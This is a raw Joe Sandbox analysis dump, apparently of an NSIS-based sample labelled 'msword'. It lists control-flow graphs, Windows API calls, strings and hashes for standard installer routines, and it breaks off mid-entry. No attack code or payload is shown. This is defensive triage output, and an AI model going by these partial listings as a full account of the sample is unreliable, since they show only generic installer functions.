                                  • Executed
                                  • Not Executed
                                  control_flow_graph 426 405958-405970 call 406328 429 405972-405982 call 405f7d 426->429 430 405984-4059bc call 405eff 426->430 439 4059df-405a08 call 403ec1 call 4067aa 429->439 435 4059d4-4059da lstrcatW 430->435 436 4059be-4059cf call 405eff 430->436 435->439 436->435 444 405a9c-405aa4 call 4067aa 439->444 445 405a0e-405a13 439->445 451 405ab2-405ab9 444->451 452 405aa6-405aad call 406831 444->452 445->444 447 405a19-405a41 call 405eff 445->447 447->444 453 405a43-405a47 447->453 455 405ad2-405af7 LoadImageW 451->455 456 405abb-405ac1 451->456 452->451 457 405a49-405a58 call 405d32 453->457 458 405a5b-405a67 lstrlenW 453->458 460 405b92-405b9a call 40141d 455->460 461 405afd-405b3f RegisterClassW 455->461 456->455 459 405ac3-405ac8 call 403ea0 456->459 457->458 463 405a69-405a77 lstrcmpiW 458->463 464 405a8f-405a97 call 40674e call 406035 458->464 459->455 475 405ba4-405baf call 403ec1 460->475 476 405b9c-405b9f 460->476 466 405c61 461->466 467 405b45-405b8d SystemParametersInfoW CreateWindowExW 461->467 463->464 471 405a79-405a83 GetFileAttributesW 463->471 464->444 470 405c63-405c6a 466->470 467->460 477 405a85-405a87 471->477 478 405a89-405a8a call 40677d 471->478 484 405bb5-405bd2 ShowWindow LoadLibraryW 475->484 485 405c38-405c39 call 405073 475->485 476->470 477->464 477->478 478->464 486 405bd4-405bd9 LoadLibraryW 484->486 487 405bdb-405bed GetClassInfoW 484->487 491 405c3e-405c40 485->491 486->487 489 405c05-405c28 DialogBoxParamW call 40141d 487->489 490 405bef-405bff GetClassInfoW RegisterClassW 487->490 497 405c2d-405c36 call 403c94 489->497 490->489 492 405c42-405c48 491->492 493 405c5a-405c5c call 40141d 491->493 492->476 495 405c4e-405c55 call 40141d 492->495 493->466 495->476 497->470
                                  APIs
                                    • Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
                                    • Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
                                    • Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353
                                  • lstrcatW.KERNEL32(004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0,-00000002,00000000,004E30C8,00403AED,?), ref: 004059DA
                                  • lstrlenW.KERNEL32(0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0), ref: 00405A5C
                                  • lstrcmpiW.KERNEL32(0046E218,.exe,0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000), ref: 00405A6F
                                  • GetFileAttributesW.KERNEL32(0046E220), ref: 00405A7A
                                    • Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A
                                  • LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004D30A8), ref: 00405AE3
                                  • RegisterClassW.USER32(00476A40), ref: 00405B36
                                  • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B4E
                                  • CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B87
                                    • Part of subcall function 00403EC1: SetWindowTextW.USER32(00000000,00476AA0), ref: 00403F5C
                                  • ShowWindow.USER32(00000005,00000000), ref: 00405BBD
                                  • LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BCE
                                  • LoadLibraryW.KERNEL32(RichEd32), ref: 00405BD9
                                  • GetClassInfoW.USER32(00000000,RichEdit20A,00476A40), ref: 00405BE9
                                  • GetClassInfoW.USER32(00000000,RichEdit,00476A40), ref: 00405BF6
                                  • RegisterClassW.USER32(00476A40), ref: 00405BFF
                                  • DialogBoxParamW.USER32(?,00000000,004054A5,00000000), ref: 00405C1E
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
                                  • String ID: F$"F$.DEFAULT\Control Panel\International$.exe$@jG$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
                                  • API String ID: 608394941-2746725676
                                  • Opcode ID: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
                                  • Instruction ID: c846f8899feab6000a015ad3d9ba4b80e1385b5ee8e185a3118195eaaf4def2f
                                  • Opcode Fuzzy Hash: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
                                  • Instruction Fuzzy Hash: 53719175600705AEE710AB65AD89E2B37ACEB44718F00453FF906B62E2D778AC41CF6D
                                  Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185stringtimeCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  APIs
                                    • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                    • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                  • lstrcatW.KERNEL32(00000000,00000000,229,004D70B0,00000000,00000000), ref: 00401A76
                                  • CompareFileTime.KERNEL32(-00000014,?,229,229,00000000,00000000,229,004D70B0,00000000,00000000), ref: 00401AA0
                                    • Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042
                                    • Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,004283D1,74DF23A0,00000000), ref: 00404FD6
                                    • Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,004283D1,74DF23A0,00000000), ref: 00404FE6
                                    • Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,004283D1,74DF23A0,00000000), ref: 00404FF9
                                    • Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
                                    • Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
                                    • Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
                                    • Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
                                  • String ID: 229$File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"
                                  • API String ID: 4286501637-2892758339
                                  • Opcode ID: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
                                  • Instruction ID: 90fa90950dbbf035c4f81507b49f49b55cd41b97b653845b504dd01eb698d819
                                  • Opcode Fuzzy Hash: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
                                  • Instruction Fuzzy Hash: 8B512931901214BADB10BBB5CC46EEE3979EF05378B20423FF416B11E2DB3C9A518A6D
                                  Function 004035B3 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 587 4035b3-403601 GetTickCount GetModuleFileNameW call 405e7c 590 403603-403608 587->590 591 40360d-40363b call 406035 call 40677d call 406035 GetFileSize 587->591 592 4037e2-4037e6 590->592 599 403641 591->599 600 403728-403736 call 4032d2 591->600 602 403646-40365d 599->602 606 4037f1-4037f6 600->606 607 40373c-40373f 600->607 604 403661-403663 call 403336 602->604 605 40365f 602->605 611 403668-40366a 604->611 605->604 606->592 609 403741-403759 call 403368 call 403336 607->609 610 40376b-403795 GlobalAlloc call 403368 call 40337f 607->610 609->606 638 40375f-403765 609->638 610->606 636 403797-4037a8 610->636 614 403670-403677 611->614 615 4037e9-4037f0 call 4032d2 611->615 616 4036f3-4036f7 614->616 617 403679-40368d call 405e38 614->617 615->606 623 403701-403707 616->623 624 4036f9-403700 call 4032d2 616->624 617->623 634 40368f-403696 617->634 627 403716-403720 623->627 628 403709-403713 call 4072ad 623->628 624->623 627->602 635 403726 627->635 628->627 634->623 640 403698-40369f 634->640 635->600 641 4037b0-4037b3 636->641 642 4037aa 636->642 638->606 638->610 640->623 643 4036a1-4036a8 640->643 644 4037b6-4037be 641->644 642->641 643->623 645 4036aa-4036b1 643->645 644->644 646 4037c0-4037db SetFilePointer call 405e38 644->646 645->623 647 4036b3-4036d3 645->647 650 4037e0 646->650 647->606 649 4036d9-4036dd 647->649 651 4036e5-4036ed 649->651 652 4036df-4036e3 649->652 650->592 651->623 653 4036ef-4036f1 651->653 652->635 652->651 653->623
                                  APIs
                                  • GetTickCount.KERNEL32 ref: 004035C4
                                  • GetModuleFileNameW.KERNEL32(00000000,004EB0D8,00002004,?,?,?,00000000,00403A73,?), ref: 004035E0
                                    • Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
                                    • Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2
                                  • GetFileSize.KERNEL32(00000000,00000000,004EF0E0,00000000,004DB0B8,004DB0B8,004EB0D8,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 0040362C
                                  Strings
                                  • Null, xrefs: 004036AA
                                  • Inst, xrefs: 00403698
                                  • Error launching installer, xrefs: 00403603
                                  • soft, xrefs: 004036A1
                                  • Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037F1
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: File$AttributesCountCreateModuleNameSizeTick
                                  • String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
                                  • API String ID: 4283519449-527102705
                                  • Opcode ID: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
                                  • Instruction ID: dd9ffda97dac1e18d9081c595fe0b3a994810ea71df15e1d022794f6b5594c79
                                  • Opcode Fuzzy Hash: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
                                  • Instruction Fuzzy Hash: 8551B8B1900214AFDB20DFA5DC85B9E7EACAB1435AF60857BF905B72D1C7389E408B5C
                                  Function 0040337F Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 175fileCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 654 40337f-403398 655 4033a1-4033a9 654->655 656 40339a 654->656 657 4033b2-4033b7 655->657 658 4033ab 655->658 656->655 659 4033c7-4033d4 call 403336 657->659 660 4033b9-4033c2 call 403368 657->660 658->657 664 4033d6 659->664 665 4033de-4033e5 659->665 660->659 666 4033d8-4033d9 664->666 667 403546-403548 665->667 668 4033eb-403432 GetTickCount 665->668 671 403567-40356b 666->671 669 40354a-40354d 667->669 670 4035ac-4035af 667->670 672 403564 668->672 673 403438-403440 668->673 674 403552-40355b call 403336 669->674 675 40354f 669->675 676 4035b1 670->676 677 40356e-403574 670->677 672->671 678 403442 673->678 679 403445-403453 call 403336 673->679 674->664 687 403561 674->687 675->674 676->672 682 403576 677->682 683 403579-403587 call 403336 677->683 678->679 679->664 688 403455-40345e 679->688 682->683 683->664 691 40358d-40359f WriteFile 683->691 687->672 690 403464-403484 call 4076a0 688->690 697 403538-40353a 690->697 698 40348a-40349d GetTickCount 690->698 693 4035a1-4035a4 691->693 694 40353f-403541 691->694 693->694 696 4035a6-4035a9 693->696 694->666 696->670 697->666 699 4034e8-4034ec 698->699 700 40349f-4034a7 698->700 701 40352d-403530 699->701 702 4034ee-4034f1 699->702 703 4034a9-4034ad 700->703 704 4034af-4034e0 MulDiv wsprintfW call 404f9e 700->704 701->673 708 403536 701->708 706 403513-40351e 702->706 707 4034f3-403507 WriteFile 702->707 703->699 703->704 709 4034e5 704->709 711 403521-403525 706->711 707->694 710 403509-40350c 707->710 708->672 709->699 710->694 712 40350e-403511 710->712 711->690 713 40352b 711->713 712->711 713->672
                                  APIs
                                  • GetTickCount.KERNEL32 ref: 004033F1
                                  • GetTickCount.KERNEL32 ref: 00403492
                                  • MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004034BB
                                  • wsprintfW.USER32 ref: 004034CE
                                  • WriteFile.KERNELBASE(00000000,00000000,004283D1,00403792,00000000), ref: 004034FF
                                  • WriteFile.KERNEL32(00000000,00420170,?,00000000,00000000,00420170,?,000000FF,00000004,00000000,00000000,00000000), ref: 00403597
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: CountFileTickWrite$wsprintf
                                  • String ID: (]C$... %d%%$pAB
                                  • API String ID: 651206458-3635341587
                                  • Opcode ID: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
                                  • Instruction ID: 38da17626370685da8d32df628044978fcb9abff53cdf920ebdff1c577d6aec0
                                  • Opcode Fuzzy Hash: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
                                  • Instruction Fuzzy Hash: BE615D71900219EBCF10DF69ED8469E7FBCAB54356F10413BE810B72A0D7789E90CBA9
                                  Function 00404F9E Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 714 404f9e-404fb1 715 404fb7-404fca 714->715 716 40506e-405070 714->716 717 404fd5-404fe1 lstrlenW 715->717 718 404fcc-404fd0 call 406831 715->718 720 404fe3-404ff3 lstrlenW 717->720 721 404ffe-405002 717->721 718->717 722 404ff5-404ff9 lstrcatW 720->722 723 40506c-40506d 720->723 724 405011-405015 721->724 725 405004-40500b SetWindowTextW 721->725 722->721 723->716 726 405017-405059 SendMessageW * 3 724->726 727 40505b-40505d 724->727 725->724 726->727 727->723 728 40505f-405064 727->728 728->723
                                  APIs
                                  • lstrlenW.KERNEL32(00445D80,004283D1,74DF23A0,00000000), ref: 00404FD6
                                  • lstrlenW.KERNEL32(004034E5,00445D80,004283D1,74DF23A0,00000000), ref: 00404FE6
                                  • lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,004283D1,74DF23A0,00000000), ref: 00404FF9
                                  • SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
                                  • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
                                  • SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
                                  • SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059
                                    • Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,004283D1,74DF23A0,00000000), ref: 00406902
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
                                  • String ID:
                                  • API String ID: 2740478559-0
                                  • Opcode ID: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
                                  • Instruction ID: 2ad3572104664f977ebc3f2c903ed8e4223e657edd1a0c85de02785a0cf57670
                                  • Opcode Fuzzy Hash: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
                                  • Instruction Fuzzy Hash: CD219DB1800518BBDF119F65CD849CFBFB9EF45714F10803AF905B22A1C7794A909B98
                                  Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 729 401eb9-401ec4 730 401f24-401f26 729->730 731 401ec6-401ec9 729->731 732 401f53-401f69 GlobalAlloc call 406831 730->732 733 401f28-401f2a 730->733 734 401ed5-401ee3 call 4062cf 731->734 735 401ecb-401ecf 731->735 745 401f6e-401f7b 732->745 736 401f3c-401f4e call 406035 733->736 737 401f2c-401f36 call 4062cf 733->737 747 401ee4-402702 call 406831 734->747 735->731 738 401ed1-401ed3 735->738 751 402387-40238d GlobalFree 736->751 737->736 738->734 742 401ef7-402e50 call 406035 * 3 738->742 750 4030e3-4030f2 742->750 745->750 745->751 762 402708-40270e 747->762 751->750 762->750
                                  APIs
                                    • Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042
                                  • GlobalFree.KERNEL32(007DFD80), ref: 00402387
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: FreeGloballstrcpyn
                                  • String ID: 229$Exch: stack < %d elements$Pop: stack empty
                                  • API String ID: 1459762280-2572911037
                                  • Opcode ID: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
                                  • Instruction ID: 50a08f61e59307d203ec8fda99e8a78aa4432658e9e299f93ea532572e85a124
                                  • Opcode Fuzzy Hash: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
                                  • Instruction Fuzzy Hash: 4921FF72640001EBD710EF98DD81A6E77A8AA04358720413BF503F32E1DB799C11966D
                                  Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 764 402713-40273b call 406035 * 2 769 402746-402749 764->769 770 40273d-402743 call 40145c 764->770 772 402755-402758 769->772 773 40274b-402752 call 40145c 769->773 770->769 776 402764-40278c call 40145c call 4062cf WritePrivateProfileStringW 772->776 777 40275a-402761 call 40145c 772->777 773->772 777->776
                                  APIs
                                    • Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042
                                  • WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: PrivateProfileStringWritelstrcpyn
                                  • String ID: 229$<RM>$WriteINIStr: wrote [%s] %s=%s in %s
                                  • API String ID: 247603264-2725386541
                                  • Opcode ID: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
                                  • Instruction ID: 073f588d32262f2f2aee4dc53e9f390c64699363c3e1a285ed73a3087a8005e5
                                  • Opcode Fuzzy Hash: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
                                  • Instruction Fuzzy Hash: FF014471D4022AABCB117FA68DC99EE7978AF08345B10403FF115761E3D7B80940CBAD
                                  Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 785 4021b5-40220b call 40145c * 4 call 404f9e ShellExecuteW 796 402223-4030f2 call 4062cf 785->796 797 40220d-40221b call 4062cf 785->797 797->796
                                  APIs
                                    • Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,004283D1,74DF23A0,00000000), ref: 00404FD6
                                    • Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,004283D1,74DF23A0,00000000), ref: 00404FE6
                                    • Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,004283D1,74DF23A0,00000000), ref: 00404FF9
                                    • Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
                                    • Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
                                    • Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
                                    • Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059
                                  • ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004D70B0,?), ref: 00402202
                                    • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                    • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                  Strings
                                  • ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
                                  • ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
                                  • String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
                                  • API String ID: 3156913733-2180253247
                                  • Opcode ID: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
                                  • Instruction ID: 745ed8f2a75272e62c3db2eabdadd847eb541a5ed47e1f4d533bb28834579f01
                                  • Opcode Fuzzy Hash: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
                                  • Instruction Fuzzy Hash: CD01F7B2B4021076D72076B69C87FAB2A5CDB81768B20447BF502F60D3E57D8C40D138
                                  Function 00405EAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
